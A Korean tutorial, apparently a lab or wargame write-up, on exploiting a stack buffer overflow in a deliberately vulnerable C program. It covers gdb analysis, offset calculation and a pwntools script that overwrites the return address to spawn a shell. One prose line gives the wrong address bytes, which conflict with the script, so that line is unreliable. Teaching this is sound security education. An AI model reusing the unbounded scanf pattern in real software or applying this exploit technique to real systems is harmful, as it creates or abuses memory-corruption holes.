// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
main
함수에서 scanf("%s", buf)
를 보면 입력 길이에 제한 없이 입력을 받고 있습니다. 그래서 오버플로우 공격이 가능합니다.
크기가 0x28 바이트인 버퍼에 입력을 받고 있기 때문에, 0x28 바이트 이상의 데이터를 입력하면 버퍼 오버플로우를 발생시켜서 main
함수의 반환 주소를 덮을 수 있습니다.
C++의 표준함수 중 취약한 함수에는 대표적으로 strcpy, strcat, sprintf, scanf
등이 있습니다.
발견한 취약점을 확인하는 행위
"A"
를 5개 입력해보면
$ ./rao
Input: AAAAA
$
프로그램이 정상적으로 종료되었습니다.
이번에는 "A"
를 64개 입력해보면
$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
전과 달리 Segmentation fault
라는 에러가 출력되며, 프로그램이 비정상적으로 종료되었습니다.
프로그램이 잘못된 주소에 접근했다는 의미이고 버그가 발생했다는 의미입니다.
추가적으로 (core dumped)
라는 메시지와 함께 코어 파일이 생성되었는데, 프로그램이 비정상적으로 종료되었을 때 디버깅을 돕기 위한 것입니다.
gdb에는 코어 파일을 분석하는 기능이 있어서 입력이 스택에 어떻게 들어갔는지 확인할 수 있고 쉘을 획득하기 위한 계획을 세울 수 있습니다.
gdb로 코어 파일을 열어보면
$ gdb -c core -q
[New LWP 52]
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000400729 in ?? ()
프로그램의 종료 원인과 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여줍니다.
gdb-peda$ x/10s $rsp
0x7ffe429d4968: "AAAAAAAA"
0x7ffe429d4971: ""
0x7ffe429d4972: ""
0x7ffe429d4973: ""
0x7ffe429d4974: ""
0x7ffe429d4975: ""
0x7ffe429d4976: ""
0x7ffe429d4977: ""
0x7ffe429d4978: "HJ\235B\376\177"
0x7ffe429d497f: ""
스택을 관찰해보면 입력값 중 일부인 AAAAAAAA
가 rsp
가 가리키는 곳에 저장되어 있습니다.
스택 버퍼에 오버플로우를 발생시켜서 반환 주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 합니다.
// main()
0x000000000040070b <+35>: lea rax,[rbp-0x30]
0x000000000040070f <+39>: mov rsi,rax
0x0000000000400712 <+42>: lea rdi,[rip+0xab] # 0x4007c4
0x0000000000400719 <+49>: mov eax,0x0
0x000000000040071e <+54>: call 0x400570 <__isoc99_scanf@plt>
0x0000000000400723 <+59>: mov eax,0x0
gdb-peda$ x/s 0x4007c4
0x4007c4: "%s"
main
의 어셈블리 코드에서 scanf
부분을 의사 코드로 표현해보면 scanf("%s", rbp-0x30)
가 됩니다.
스택 구조를 그려서 파악을 해보면
buf
와 return address
사이에 0x38
만큼 떨어져 있기 때문에, 0x38
만큼 쓰레기 값으로 채우고 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있습니다.
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
쉘을 실행시켜주는 get_shell()
함수가 있기 때문에, main
함수의 반환 주소를 get_shell()
함수의 주소로 덮으면 쉘을 획득할 수 있습니다.
gdb로 get_shell()
함수의 주소를 찾아보면
gdb-peda$ print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
0x4006aa
가 get_shell
함수의 주소입니다.
시스템 해킹에서 페이로드는 공격을 위해 전달하는 데이터를 의미합니다.
익스플로잇을 위해 페이로드를 구성해보면
페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 합니다.
엔디언은 메모리에서 데이터가 정렬되는 방식으로 리틀 엔디언과 빅 엔디언이 사용됩니다.
MSB(Most Significant Byte)
: 가장 왼쪽 바이트
리틀 엔디언
: MSB
가 가장 높은 주소에 저장됩니다.
빅 엔디언
: MSB
가 가장 낮은 주소에 저장됩니다.
0x12345678
리틀 엔디언 → 78 56 34 12
빅 엔디언 → 12 34 56 78
인텔 x86-64아키텍쳐는 리틀 엔디언을 사용하기 때문에, get_shell
함수의 주소는 “\\xa7\\x05\\x40\\x00\\x00\\x00\\x00\\x00”
로 변환해서 전달해줘야 합니다.
from pwn import *
p = process('./rao')
payload = b"A"*0x30
payload += b"B"*0x8
payload += b"\xaa\x06\x40\x00\x00\x00\x00\x00"
p.recvuntil('Input: ')
p.sendline(payload)
p.interactive()
익스플로잇 코드를 짜서 공격을 해보면
$ python3 exploit.py
[+] Starting local process './rao': pid 629
[*] Switching to interactive mode
$
공격에 성공해서 쉘을 흭득하였습니다.